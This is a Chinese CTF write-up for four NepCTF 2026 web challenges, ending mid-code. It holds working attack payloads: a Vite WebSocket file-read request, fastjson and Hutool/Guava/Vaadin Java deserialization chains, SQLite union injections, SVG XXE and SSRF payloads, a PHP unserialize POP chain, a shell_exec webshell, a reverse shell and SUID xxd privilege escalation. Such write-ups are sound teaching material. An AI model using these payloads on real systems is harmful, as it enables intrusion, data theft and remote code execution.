NepCTF 2026 (Web)

作者:流云技术札 发布:2026-08-04 22:56 收录:2026-09-08 10:31 2 次阅读 约 9203 字
摘要:好难的题,吓哭了 菜菜捞捞~
推荐理由:本文涵盖「Web安全」、「Vite」、「文件系统访问」等多个主题,重点关注 Web安全。

WEB

挂钩都在干什么呢?

航天基地充满了未来科技的气息,让我们来看看“科技”们都在干什么吧。

(如果有需要,可以连接 ws://114.66.26.224:8081 使用该页面。数据不包括任何真实游戏信息,均为自动生成。该地址与解题无关,仅供娱乐。)

附件是源码

image

robots.txt里给了 /@fs/路径,但不知道是啥

#robots.txt
User-agent: *
Disallow: /@fs/

后面复盘的时候得知是vite的特殊文件系统访问路径,可以用于访问内部绝对路径如 /@fs//flag即访问 /flag,但直接使用http访问会受到 Vite server.fs.allow的限制,返回403

image

docker-entrypoint.sh给了flag位置

#docker-entrypoint.sh
#!/bin/sh
set -eu

echo $FLAG > /flag
unset FLAG

chown ctf:ctf /flag
chmod 777 /flag

exec su-exec ctf npm run start

package.json里发现vite依赖

{
  "name": "vite-hidden-transport",
  "private": true,
  "version": "1.0.0",
  "scripts": {
    "start": "vite --host 0.0.0.0 --port 5173"
  },
  "dependencies": {
    "vite": "6.4.1"
  }
}

在main.js发现默认会尝试连接 ws://127.0.0.1:8081,会获得坐标等信息

这里尝试ssrf发现限制了协议头,在进一步尝试前发现nuclei扫描到cve了
CVE-2026-39365和CVE-2026-39363

┌──(root㉿kali)-[~]
└─# nuclei -u http://114.66.24.233:31752/

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.8.0

                projectdiscovery.io

[INF] Your current nuclei-templates v10.4.5 are outdated. Latest is v10.4.6
y
[INF] Current nuclei version: v3.8.0 (outdated)
[INF] Current nuclei-templates version: v10.4.5 (outdated)
[INF] New templates added in latest release: 86
[INF] Templates loaded for current scan: 10447
[INF] Executing 10430 signed templates from projectdiscovery/nuclei-templates
[WRN] Loading 17 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[INF] Templates clustered: 2389 (Reduced 2256 Requests)
[INF] Using Interactsh Server: oast.site
[CVE-2026-39365] [http] [medium] http://114.66.24.233:31752/node_modules/.vite/deps/../../../config.production.js.map ["/app/config.production.js"]
[CVE-2026-39363] [javascript] [high] 114.66.24.233:31752
[dameng-detect] [javascript] [info] 114.66.24.233:31752
[robots-txt-endpoint] [http] [info] http://114.66.24.233:31752/robots.txt
[INF] Skipped 114.66.24.233:5814 from target list as found unresponsive permanently: Get "https://114.66.24.233:5814/autopass": cause="port closed or filtered" address=114.66.24.233:5814 chain="i/o timeout"
[package-json] [http] [info] http://114.66.24.233:31752/package.json
[package-json] [http] [info] http://114.66.24.233:31752/package-lock.json
[http-missing-security-headers:x-content-type-options] [http] [info] http://114.66.24.233:31752/
[http-missing-security-headers:x-permitted-cross-domain-policies] [http] [info] http://114.66.24.233:31752/
[http-missing-security-headers:referrer-policy] [http] [info] http://114.66.24.233:31752/
[http-missing-security-headers:cross-origin-opener-policy] [http] [info] http://114.66.24.233:31752/
[http-missing-security-headers:content-security-policy] [http] [info] http://114.66.24.233:31752/
[http-missing-security-headers:x-frame-options] [http] [info] http://114.66.24.233:31752/
[http-missing-security-headers:cross-origin-embedder-policy] [http] [info] http://114.66.24.233:31752/
[http-missing-security-headers:cross-origin-resource-policy] [http] [info] http://114.66.24.233:31752/
[http-missing-security-headers:strict-transport-security] [http] [info] http://114.66.24.233:31752/
[http-missing-security-headers:permissions-policy] [http] [info] http://114.66.24.233:31752/
[INF] Skipped 114.66.24.233:4040 from target list as found unresponsive permanently: cause="port closed or filtered" address=114.66.24.233:4040 chain="connection refused; got err while executing https://114.66.24.233:4040/jobs/?\"'><script>alert(document.domain)</script>"
[robots-txt] [http] [info] http://114.66.24.233:31752/robots.txt
[INF] Scan completed in 7m. 17 matches found.

这里用Vite开发服务器任意文件读取漏洞

Vite 是一个用于 JavaScript 的前端工具框架。在 6.0.0 到 6.4.2、7.3.2 和 8.0.5 之前的版本中,如果能够以不带 Origin 标头的方式(Vite 的 HMR 通道使用 WebSocket 子协议 vite-hmr 。连接时不发送 Origin ,可以进入 HMR 通道)连接到 Vite 开发服务器的 WebSocket,攻击者可以通过自定义 WebSocket 事件 vite:invoke 调用 fetchModule,并将 file://...?raw(或 ?inline)结合使用,从而以 JavaScript 字符串的形式(例如,export default "..."))检索服务器上任意文件的内容。HTTP 请求路径中强制执行的访问控制(例如 server.fs.allow)不适用于这种基于 WebSocket 的执行路径。此漏洞已在 6.4.2、7.3.2 和 8.0.5 版本中修复。

漏洞本质是受影响版本把 fetchModule 暴露给 HMR RPC 调用,而这一调用没有正确应用 server.fs 文件访问检查。因此即使配置中启用了 fs.strict ,并且只允许应用目录,也仍然可以访问根目录下的文件。

漏洞利用

1.BURP->Proxy->WebSockets history
2.找到Direction为TO server,右键发送至repeater

image

3.修改请求为

{
    "type": "custom",
    "event": "vite:invoke",
    "data": {
        "name": "fetchModule",
        "id": "send:proof",
        "data": [
            "file:///etc/passwd?raw"
        ]
    }
}

image

成功任意文件读取
读取/flag即可

image

flag{AN@1yzlnG-peRfeCt-Book_cluB_ExP3rIEnc32345}

文件编辑系统

一个简易的文档编辑系统,保存的文档存储在upload目录下

进入能看到经典登录口

image

提示我们注册角色固定为ROLE_USER
开放注册功能可以用来测试管理员账号,得到管理员用户名admin

image

这里能直接爆破出管理员账密 admin:admin123

image

查看源码简单对比下普通用户功能和管理员功能

GET /api/admin/doc/files
GET /api/admin/doc/files/${encodeURIComponent(id)}
POST /api/admin/doc/create
POST /api/admin/doc/batchUpdate
DELETE /api/admin/doc/delete/${encodeURIComponent(id)}

GET /api/doc/preview

普通用户有预览功能能读取文件,猜测可能是 admin RCE 后用于读取flag,测试下目录穿越
../upload/readme.txt成功,但测试相邻层级和深度穿越均失败,用 /proc/self/cwd/upload/readme.txt成功,而/etc/passwd失败,说明会解析真实路径,但限制了访问需要在upload目录中

测试batchUpdate的时候发现,修改docId字段为非整型会报错,报错内容能看到fastjson的pareseObject,这说明请求json被解析为了对象

image

但这里如果要用fastjson反序列化漏洞需要确认版本,fastjson各版本payload差异较大
这里ai测试判断版本大致在1.2.23-1.2.27

之后就是poc链的选择,最常见的肯定是 JdbcRowSetImpl,但是这里有preview接口可读,因此只需要达到复制生成本地文件的效果就可以了,因此选择TemplatesImpl

这里简单看下链路,wp不是fastjson详解因此不做源码分析

-> 实例化 TemplatesImpl
-> 设置 _bytecodes / _name / _tfactory 等字段
-> 访问 _outputProperties 属性
-> TemplatesImpl.getOutputProperties()
-> TemplatesImpl.newTransformer()
-> TemplatesImpl.getTransletInstance()
-> TemplatesImpl.defineTransletClasses()
-> defineClass 加载 _bytecodes 里的 class
-> newInstance 实例化 translet
-> 恶意 class 的 static 代码块执行

最终发现flag在环境变量里
payload如下,注意要使用java8进行编译

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class GetFlag extends AbstractTranslet {
    static {
        try {
            String value = System.getenv("FLAG");
            if (value == null) {
                value = "FLAG_ENV_NOT_SET";
            }
            java.nio.file.Path dir = java.nio.file.Paths.get("upload");
            java.nio.file.Files.createDirectories(dir);
            java.nio.file.Files.write(
                dir.resolve("flag.txt"),
                value.getBytes("UTF-8")
            );
        } catch (Exception ignored) {
        }
    }

    public void transform(
        DOM document,
        SerializationHandler[] handlers
    ) throws TransletException {
    }

    public void transform(
        DOM document,
        DTMAxisIterator iterator,
        SerializationHandler handler
    ) throws TransletException {
    }
}

将上面编译为class文件后转base64放入如下poc后发送

{
  "docId": 2,
  "title": "flag-trigger",
  "status": "draft",
  "content": "FLAG-TRIGGER",
  "probe": {
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": [
      "<SafeFastjsonFlagbd326e0f.class 的 Base64>"
    ],
    "_name": "flag",
    "_tfactory": {},
    "_outputProperties": {}
  }
}

这里是直接写入了upload/flag.txt,直接读取即可

image

web?re?

众所周知,web手除了web啥都会 (容器启动需要2min,请耐心等待)

sql二次注入

页面提供登录注册账户,用户列表用于查看用户,/user/<用户名>能查看具体用户信息

image

普通用户登录没出现额外交互功能,第一步应该需要拿到admin账户权限
尝试爆破以及sql注入无果,思考一下

这里在用户信息里发现正确域名的邮箱会出现同域名用户推荐,而我们随便注册的非正常格式域名则不会显示用户推荐

image

image

这里能说明后端对输入的域名进行了解析,从格式上来说看上去是sql注入的二次注入,使用union进程测试

image

成功字符型注入并发现回显点
继续注入发现是sqlite,进一步注入即可拿到admin凭证 admin:AdminP@ssw0rd!2026

user@' union select 1,2,sqlite_version() --

user@' union select 1,name,sql from sqlite_master where type='table' --

user@' union select id,username,password from users where username='admin' --

image

svg的xxe打ssrf

登录admin用户显示文件上传功能

image

这里算xxe的题目做少了,不然看到svg就能反映过来xml解析了
在这里试错后才发现后端会解析XML

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">
  <text x="1" y="1">&xxe;</text>
</svg>

image

成功验证xxe,这里有些文件读不到,应该是权限问题,而且没找到flag,寻找下其他攻击面
这里测试 内网ssrf时发现base64回显 <!ENTITY xxe SYSTEM "http://127.0.0.1/">

image

php反序列化(难哭了家人们)

解码后代码如下

<?php
class test {
    public $readflag;
    public $f;
    public $key;

    public function __construct() {
        $this->readflag = new class {
            public function __construct() {
                if (isset($_GET['file'])) {
                    $GLOBALS['file'] = $_GET['file'];
                }
            }

            public function __wakeup() {
                phpinfo();
            }

            public function readflag() {
                function readflag() {
                    if (isset($GLOBALS['file'])) {
                        $file = $GLOBALS['file'];
                        base64_encode(include($file));
                    }
                }
            }
        };
    }

    public function __wakeup() {
        if (is_array($this->f)) {
            $new = [];
            foreach ($this->f as $k => $v) {
                if (is_string($v)) {
                    $new[$k] = strval($v);
                } elseif (is_object($v)) {
                    $new[$k] = clone $v;
                } else {
                    $new[$k] = $v;
                }
            }
            $this->f = $new;
        }
        if (is_string($this->readflag)) {
            $this->readflag = strval($this->readflag);
        }
        if (is_string($this->key)) {
            $this->key = strval($this->key);
        }
    }

    public function __destruct() {
        $func = $this->f;
        $GLOBALS['filename'] = $this->readflag;
        if ($this->key == 'class') {
            new $func();
        } else if ($this->key == 'func') {
            $func();
        } else {
            echo base64_encode(file_get_contents('index.php'));
        }
    }
}

$ser = isset($_GET['land']) ? $_GET['land'] : 'O:4:"test":N';
@unserialize($ser);

明显是php反序列化,这里能看出80端口还运行了php服务,返回的是 echo base64_encode(file_get_contents('index.php')); index.php的base64

这时候能大致理清poc链

__destruct 任意 callable
-> test对象 手动调用 __construct 创建匿名对象
-> 匿名对象 readflag 方法定义全局 readflag()
-> 调全局 readflag()
-> include($_GET['file'])

总共需要四个test对象放到一个数组里序列化

seed:普通test对象
c1: 调 test::__construct()
    -> 目标进程里 new class
    -> 拿到匿名对象

c2: 调 匿名对象->readflag()
    -> 定义全局 readflag()

c3: 调 全局 readflag()
    -> include($_GET['file'])

这里析构时为了确保c1 c2 c3顺序执行,用析构顺序触发__destruct()
为了保证调用的是同一对象,需要使用 r:xR:x 指向之前的类和对象

r:N  = 对已出现对象/值的普通引用,常见于同一个对象重复出现
R:N  = PHP 引用,也就是 & 那种 zval alias

例子:
class A{};
$o = new A();
echo serialize([$o, [$o, "m"]]);

会出现:
r:2
a:2:{i:0;O:1:"A":0:{}i:1;a:2:{i:0;r:2;i:1;s:1:"m";}}

而:
$x = 123;
echo serialize([&$x, &$x]);

会出现:
R:2
a:2:{i:0;i:123;i:1;R:2;}
outer array
├── i:0 = seed test object        // 反序列化引用表里的 #2
├── i:1 = c1 test object
├── i:1 = N                       // 覆盖 c1,触发 c1->__destruct()
├── i:3 = c2 test object
├── i:3 = N                       // 覆盖 c2,触发 c2->__destruct()
├── i:5 = c3 test object
├── i:5 = N                       // 覆盖 c3,触发 c3->__destruct()
└── i:0 = N                       // 最后清 seed

c1要引用seed的test对象
举个引用的例子

a:2:{i:0;O:1:"A":1:{s:1:"x";N;}i:1;a:2:{i:0;r:2;i:1;s:1:"m";}}

#1 = 最外层数组
#2 = 第一个对象 $o
r:2 指向前面那个 $o

因此c1里用r:2指向那个test类

但实际上seed在unserialize()后会触发 __wakeup()
因此 c1 最后调用的是clone($seed)->__construct();

public function __wakeup() {
    if (is_array($this->f)) {
        $new = [];
        foreach ($this->f as $k => $v) {
            if (is_string($v)) {
                $new[$k] = strval($v);
            } elseif (is_object($v)) {
                $new[$k] = clone $v;
            } else {
                $new[$k] = $v;
            }
        }
        $this->f = $new;
    }
    if (is_string($this->readflag)) {
        $this->readflag = strval($this->readflag);
    }
    if (is_string($this->key)) {
        $this->key = strval($this->key);
    }
}

在c1执行 __construct() 后,那个 clone 出来的 test 对象的 readflag 属性被赋值成了运行时创建的匿名对象。这个匿名对象可以通过 R:3 拿到。

这里 R:3 里的 3 不是数组 key,也不是“第三个对象”,而是 PHP unserialize() 当前内部引用表的编号

R:3的获取方式是

1. 用 r:2 引用 seed;
2. 让 c1 先析构并执行 test::__construct();
3. 让目标进程现场产生匿名对象;
4. 在同版本 PHP 中测试 R:1、R:2、R:3 等编号;
5. 观察哪个编号在 c2 的 __wakeup() 中解析成 class@anonymous 对象。

最终payload如下

a:8:{i:0;O:4:"test":3:{s:8:"readflag";N;s:1:"f";s:10:"phpversion";s:3:"key";s:4:"func";}i:1;O:4:"test":3:{s:8:"readflag";s:9:"CONSTRUCT";s:1:"f";a:2:{i:0;r:2;i:1;s:11:"__construct";}s:3:"key";s:4:"func";}i:1;N;i:3;O:4:"test":3:{s:8:"readflag";s:6:"DEFINE";s:1:"f";a:2:{i:0;R:3;i:1;s:8:"readflag";}s:3:"key";s:4:"func";}i:3;N;i:5;O:4:"test":3:{s:8:"readflag";s:6:"INVOKE";s:1:"f";s:8:"readflag";s:3:"key";s:4:"func";}i:5;N;i:0;N;}
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "http://127.0.0.1/?file=<URL编码后的file>&land=<URL编码后的POP>">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">
  <text x="1" y="1">&xxe;</text>
</svg>

示例:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "http://127.0.0.1/?file=%2Fapp%2Fuploads%2F1_20260729232534.svg&land=a%3A8%3A%7Bi%3A0%3BO%3A4%3A%22test%22%3A3%3A%7Bs%3A8%3A%22readflag%22%3BN%3Bs%3A1%3A%22f%22%3Bs%3A10%3A%22phpversion%22%3Bs%3A3%3A%22key%22%3Bs%3A4%3A%22func%22%3B%7Di%3A1%3BO%3A4%3A%22test%22%3A3%3A%7Bs%3A8%3A%22readflag%22%3Bs%3A9%3A%22CONSTRUCT%22%3Bs%3A1%3A%22f%22%3Ba%3A2%3A%7Bi%3A0%3Br%3A2%3Bi%3A1%3Bs%3A11%3A%22__construct%22%3B%7Ds%3A3%3A%22key%22%3Bs%3A4%3A%22func%22%3B%7Di%3A1%3BN%3Bi%3A3%3BO%3A4%3A%22test%22%3A3%3A%7Bs%3A8%3A%22readflag%22%3Bs%3A6%3A%22DEFINE%22%3Bs%3A1%3A%22f%22%3Ba%3A2%3A%7Bi%3A0%3BR%3A3%3Bi%3A1%3Bs%3A8%3A%22readflag%22%3B%7Ds%3A3%3A%22key%22%3Bs%3A4%3A%22func%22%3B%7Di%3A3%3BN%3Bi%3A5%3BO%3A4%3A%22test%22%3A3%3A%7Bs%3A8%3A%22readflag%22%3Bs%3A6%3A%22INVOKE%22%3Bs%3A1%3A%22f%22%3Bs%3A8%3A%22readflag%22%3Bs%3A3%3A%22key%22%3Bs%3A4%3A%22func%22%3B%7Di%3A5%3BN%3Bi%3A0%3BN%3B%7D">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">
  <text x="1" y="1">&xxe;</text>
</svg>

注意在 DTD 的 SYSTEM "..." 字面量中,查询参数之间的 & 应保留为原始字符。这里若写成 &amp; ,libxml2 会把 &amp; 五个字符原样放进请求 URI,导致第二个参数不能正常解析

php filter chain

这里没限制包含目录,可以直接包含上传的svg文件
但这里具体路径/app/uploads/<.svg>是依靠flask容器通常以/app为工作目录,以及上传表和后台逻辑常用 uploads 目录猜出的

<?php
$cmd = isset($_GET['cmd']) ? $_GET['cmd'] : 'id';
$out = shell_exec ($cmd . ' 2>&1');
echo base64_encode ($out);
?>

成功rce

image

image

但这种依靠猜的思路,只能说,是弱者的思维

filter在能解析php代码的包含场景下是可以 命令执行 rce 的

include()
    |
    |
打开php://filter流
    |
    |
读取resource=test
    |
    |
经过filter处理
    |
    |
得到最终内容
    |
    |
include解析最终内容
    |
    |
执行PHP

而在已知读取内容的情况下,可以转换已知内容拼出payload

垃圾字符
 ↓
iconv改变编码
 ↓
base64 decode
 ↓
产生部分PHP字符
 ↓
继续编码
 ↓
最终拼出payload

通常使用以下两个项目生成phpfilterchain

ambionics/phpggc: PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically.、

synacktiv/php_filter_chain_generator

渗透

这里就按渗透思路做了,弹shell发现nc和busybox都没有,使用php成功弹shell,这个用kali自带的即可 /usr/share/webshells/php/php-reverse-shell.php

image

vps没装penelope,因此还要手动升级下tty

script -qc /bin/bash /dev/null

image

按渗透思路应该直接上linpeas.sh自动枚举和pspy64查定时任务
这里能找到suid的xxd程序

find / -user root -perm -4000 -print 2>/dev/null

image

这里直接看gtfobins里能看到xxd能做到任意文件读写

image

这里其实可以直接改文件提权了,但还是根据预期解走
在root的环境变量和历史命令里发现信息

xxd /root/.bashrc
xxd /root/.bash_history

image

能看到历史命令执行了 /usr/local/bin/sendthef1ag,拉下来逆向分析

这里省略ai逆向的过程了(学web不会逆向喵),总结就是它会读取环境变量里面的SEND_KEY然后解密flag发送到80端口,因此这里设置环境变量然后运行查看日志即可

export SEND_KEY=97b2d087-c452-4a14-8a91-5a7035b4ab38
/usr/local/bin/sendthef1ag
xxd /var/log/apache2/access.log

image

JavaMix

一个功能不完善的demo应用,似乎存在许多漏洞,但听说用了某种能防御0day的设备?你的AI能攻破它吗? (题目需要一定时间启动,请耐心等待一会儿,根据平台负载情况,最长可能需要5分钟左右)

FLAG格式:NepCTF{...}

SSRF重定向

给了jar包附件,先审计

image

典型的springboot结构,从接口开始找漏洞

追踪/admin/ping路由,能发现缺少对换行符的过滤,而且find只检测首段,可以使用%0a进行注入

image

image

但请求遭遇拦截

image

跳转发现是一个叫OpenRASP的防御系统,明显是题目里说的防御0day的信息

image

看了下这玩意应该没法直接绕,先放一边


追踪/fetch路由,能看到ip编码黑名单

image

但对重定向无防护,可以使用vps重定向绕过,在源码 /BOOT-INF/classes/application.properties 里能看到内网端口是8080

继续分析源码发现在SpringBoot框架里使用了 CXF webservice 组件,其专门处理 SOAP WSDL XML 到java方法的映射

image

com.ctf.javamix/config/InternalAcessFilter里能看到限制了/services必须要从内网访问

这里了解下CXF的的具体调用流程

  1. 程序从JavaMixApplication.java:16 启动
    SpringApplication.run(JavaMixApplication.class, args);

@SpringBootApplication 会同时开启组件扫描和自动配置

  1. Spring 扫描到 /config/InternalAccessFilter.java:30

@Component
public class InternalAccessFilter implements Filter

  • @Component:把它创建成 Spring Bean。

  • implements Filter:Spring Boot 发现这是 Servlet Filter Bean,自动注册给内嵌
     Tomcat。

  • 项目里不需要手写 filter.doFilter(...),也没有找到手动注册 FilterRegistrationBean
     的代码。

实际调用者是 Tomcat 的 FilterChain。每次 HTTP 请求进来,Tomcat 会依次调用已注册 Filter 的:
filter.doFilter(request, response, chain)

1.CXF Starter自动读取/BOOT-INF/classes/application.properties:8
cxf.path=/services

JAR 内的 CxfAutoConfiguration 会据此创建:
new ServletRegistrationBean(new CXFServlet(), "/services/*")

也就是说,Tomcat 内部有一条类似下面的映射:
/services/*  ->  CXFServlet

  1. 然后 Spring 处理 /config/CxfConfig.java:29 中的 @Bean:
EndpointImpl endpoint = new EndpointImpl(bus, new InternalDataServiceImpl());
endpoint.publish("/DataSyncService");

它不是注册 Servlet,而是在已经存在的 CXFServlet 内,注册一个具体 SOAP Endpoint:

/services/*                       CXF 的 Servlet 入口
/services/DataSyncService         具体 SOAP 服务

一次请求的实际调用链

请求 http://host:8080/services/xxxxx

Tomcat :8080 收到请求
  -> Tomcat FilterChain
  -> InternalAccessFilter.doFilter()
  -> chain.doFilter()
  -> Tomcat 根据 /services/* 找到 CXFServlet
  -> CXFServlet 根据 /xxxxx 找到 EndpointImpl
  -> 调用 InternalDataServiceImpl 对应的 SOAP 方法

image

com.ctf.javamix/config/CxfConfig里能看到对具体服务进行了去敏

image

但CXF提供访问入口时,生成当前已发布的 SOAP 服务列表
这里就可以通过 /fetch 重定向ssrf打内网 /services

from http.server import HTTPServer
from http.server import BaseHTTPRequestHandler


class Handler(BaseHTTPRequestHandler):

    def do_GET(self):

        self.send_response(302)

        self.send_header(
            "Location",
            "http://127.0.0.1:8080/services"
        )

        self.end_headers()



server = HTTPServer(
    ("0.0.0.0",8000),
    Handler
)

server.serve_forever()

image

返回内容是 SOAP WebService 的标准接口契约,定义了服务的全部数据结构、接口方法、传输协议与访问地址。该 WSDL 符合 Document/Literal 风格,由 Java 生态的 Apache CXF 框架生成

这里有风险的是 processTask 接口

<xs:complexType name="processTask">
  <xs:sequence>
    <xs:element minOccurs="0" name="taskData" type="xs:base64Binary"/>
  </xs:sequence>
</xs:complexType>

<xs:complexType name="processTaskResponse">
  <xs:sequence>
    <xs:element minOccurs="0" name="return" type="xs:string"/>
  </xs:sequence>
</xs:complexType>

能看到其数据类型是 xs:base64Binary XML Schema 标准的二进制数据类型。传输时数据会以 Base64 编码的文本放在 XML 报文中,服务端解析后会还原为原始字节流。

Java 映射规则:在 JAX-WS(CXF 实现的官方规范)中,xs:base64Binary 会被默认映射为 Java 中的 byte[](字节数组)类型。也就是说,服务端的 processTask 方法,接收的参数本质是一个字节数组。

在 Java WebService 开发中,如果只是传递普通结构化数据,开发人员会直接定义字段的 XSD 结构,由 JAXB 框架自动完成 XML ↔ Java 对象的转换,根本不需要用 byte[]

一旦接口主动设计为「接收字节数组」,且方法名为 processTask(处理任务)、参数名为 taskData(任务数据),几乎都是业务代码的典型设计:将一个 Java 对象先做原生序列化(实现 Serializable 接口),转成 Base64 后通过这个参数传给服务端;服务端拿到 byte[] 后,直接用 ObjectInputStream.readObject() 进行反序列化,还原成 Java 对象再执行业务逻辑

这就是典型的 Java 原生反序列化漏洞入口。

这里的请求格式如下,构造req.xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" 
                  xmlns:ws="http://ws.javamix.ctf.com/">
   <soapenv:Header/>
   <soapenv:Body>
      <ws:processTask>
         <taskData>此处替换为Base64编码后的序列化Payload</taskData>
      </ws:processTask>
   </soapenv:Body>
</soapenv:Envelope>

然后发包即可

curl -X POST http://127.0.0.1:8080/services/DataSyncService \
  -H "Content-Type: text/xml;charset=UTF-8" \
  -H "SOAPAction: \"\"" \
  -d @req.xml

hutools二次反序列化

官方wp给了未脱敏源码

image

其实这里看出反序列化入口后根据源码,ai大致也能还原出代码
不过反正是把我的ai难住了()

能看到存在SafeObjectInputStream和自定义的黑名单,在resolveClass处进行了过滤

这里需要从 pom.xml 的依赖表和 /BOOT-INF/classes/blacklists.txt 里找到能够使用的依赖以及找到绕过黑名单的方法

这里需要采用二次反序列化的方法对黑名单进行绕过
这算是第一次接触二次反序列化,简单理解了一下

Outer Payload
        |
        v
SafeObjectInputStream
        |
        v
正常通过
        |
        v
某个对象readObject()
        |
        v
Hutool deserialize()
        |
        v
Inner Payload
        |
        v
真正RCE

具体链路如下

*   SafeObjectInputStream.readObject()        // 第一次反序列化入口(带类黑白名单校验的安全输入流)
*     → HashMap.readObject()                  // 反序列化还原 HashMap 对象,进入其自定义反序列化逻辑
*       → hash(key) → key.hashCode()          // 重建哈希表,对每个 key 计算哈希槽位
*       → Equivalence$Wrapper.hashCode()      // HashMap 的 key 为 Guava Equivalence.Wrapper 包装实例
*         → equivalence.hash(reference)       // Wrapper 将哈希计算委托给内部 equivalence 对象
*       → FunctionalEquivalence.doHash(reference)
*         → function.apply(reference)         // function 为 ToStringFunction 实例,执行对象转换
*         → reference.toString()              // 调用被包装对象的 toString 方法,目标为 PropertysetItem
*       → PropertysetItem.toString()
*         → 遍历所有属性项拼接字符串
*         → NestedMethodProperty.getValue()   // 获取单个属性的值
*           → Method.invoke(instance, getter) // 反射调用目标对象的 getter 方法
*           → MapProxy 对应 getter 方法执行   // 动态代理对象拦截 getter 调用,触发后续逻辑
*           → SerializeUtil.deserialize()     // Hutool 工具类反序列化,开启第二次反序列化(不受外层安全流约束)
*           → 【第二次反序列化阶段】
*             → TemplatesImpl.readObject()
*             → getTransletInstance()
*             → defineClass 加载恶意 translet 字节码
*             → 恶意类实例化 → 静态代码块/构造器执行 → 远程代码执行(RCE)
第一层 guava 触发toString

hash(key)调用key.hashCode(),而由于 guava组件存在 可以将 Equivalence.Wrapper 作为key传入,调用Equivalence.Wrapper.hashCode()

Guava 的 Equivalence.Wrapper 本身不实现具体的哈希逻辑,它的 hashCode() 是完全委托给内部持有的 equivalence 策略对象,计算目标是内部包裹的 reference

当内部的 equivalenceFunctionalEquivalence(函数式等价实现)时,哈希计算会多出一步对象转换

// com.google.common.base.FunctionalEquivalence
final Function<? super F, ? extends T> function;

@Override
protected int doHash(F key) {
    // 先通过 function 转换对象,再对转换结果算哈希
    return equivalence.hash(function.apply(key));
}

当这个 function 被设置为 Guava 内置的 ToStringFunction 时,转换动作就等价于调用对象的 toString()

// com.google.common.base.ToStringFunction
@Override
public String apply(Object o) {
    return o.toString();
}
第二层 vaadin 调用getter

这个是经典toString → getter

PropertysetItem.toString() → 批量触发属性 getValue ()
PropertysetItem 是 Vaadin 中「属性集合」的通用实现,内部可以存放多个 Property 对象,每个 Property 对应一个业务属性。

它的 toString() 方法没有任何安全校验,逻辑非常直接:遍历自身所有属性,逐个调用 getValue() 取值,拼接成字符串返回,核心源码如下:

public String toString() {
    String retValue = "";
    // 遍历所有属性的ID
    Iterator<?> i = this.getItemPropertyIds().iterator();
    while (i.hasNext()) {
        Object propertyId = i.next();
        // 取出对应Property对象,直接调用getValue()
        retValue = retValue + this.getItemProperty(propertyId).getValue();
        if (i.hasNext()) {
            retValue = retValue + " ";
        }
    }
    return retValue;
}

核心作用:作为 toString → 方法调用 的跳板。只要触发了 PropertysetItem.toString(),就会自动执行它内部所有 Property 的 getValue() 方法。

然后利用 NestedMethodProperty.getValue() → 反射执行 getter 方法
NestedMethodProperty 是 Vaadin 提供的「嵌套属性访问器」,设计目的是通过字符串属性路径(比如 user.address.city)直接读取 JavaBean 的深层属性,底层完全基于 Java 反射实现

它的 getValue() 核心执行流程:

  1. 拆分属性路径:将传入的属性名按 . 分割成多级属性序列(如 ["user", "address", "city"]

  2. 逐级反射调用:从根目标对象开始,对每一级属性名:

    • 按照 JavaBean 规范拼接 getter 方法名:属性名首字母大写,前缀加 get(布尔类型兼容 is 前缀),例如 usergetUser()
    • 通过 Class.getMethod() 获取对应的无参 Method 对象
    • 调用 Method.invoke(当前层级对象, null) 执行 getter,拿到下一级对象
  3. 返回最终结果:执行完最后一级 getter 后,返回最终的属性值

简化核心逻辑

public Object getValue() {
    Object current = targetInstance; // 我们构造的目标对象
    for (String propName : propertyPath) {
        // 按JavaBean规范拼接getter方法名
        String getterName = "get" + propName.substring(0,1).toUpperCase() + propName.substring(1);
        // 反射获取无参方法
        Method getter = current.getClass().getMethod(getterName);
        // 执行getter,进入下一层对象
        current = getter.invoke(current);
    }
    return current;
}
第三层 Hutool二次反序列化

MapProxy是Hutool 工具库提供的类 ——它本身就是 JDK 动态代理的 InvocationHandler 实现
MapProxy 直接实现了 JDK 原生的 java.lang.reflect.InvocationHandler 接口,内部持有一个 Map 作为数据源,同时自身提供了生成代理对象的方法:

// 核心方法:生成动态代理 Bean
public <T> T toProxyBean(Class<T> interfaceClass) {
    return (T) Proxy.newProxyInstance(
        ClassLoaderUtil.getClassLoader(),
        new Class<?>[]{interfaceClass},
        this  // 把自己作为 InvocationHandler 传入
    );
}

当 Vaadin 的 NestedMethodProperty 通过反射调用代理对象的 getter 方法时,会被动态代理拦截,进入 MapProxy#invoke() 执行

完整执行流程如下

  1. 识别 JavaBean getter

    校验方法符合 getter 规范:无参数、有返回值、方法名以 get(布尔类型兼容 is)开头。

  2. 解析对应字段名

    去掉方法名的 get/is 前缀,首字母转小写,得到 Map 的键名。

    例如调用 getBytes() → 解析出字段名 bytes

  3. 从内部 Map 取值

    调用 this.map.get(fieldName),取出我们提前存入的恶意序列化字节数组 byte[]

  4. 自动类型转换(触发二次反序列化的关键)

    调用 Convert.convert(method.getReturnType(), mapValue),把 Map 里的值强制转换成 getter 方法声明的返回类型。

    核心利用点:当目标返回类型是任意对象类型(如 ObjectTemplatesImpl),而输入值是 byte[] 字节数组时,Hutool 的类型转换体系会自动调用 ObjectUtil.deserialize()(底层等价于 SerializeUtil.deserialize()),对字节数组执行原生 Java 反序列化—— 这就是不受外层安全流约束的第二次反序列化。

真正触发二次反序列化的核心

cn.hutool.core.util.SerializeUtil.deserialize()

类似

public static Object deserialize(byte[] bytes){

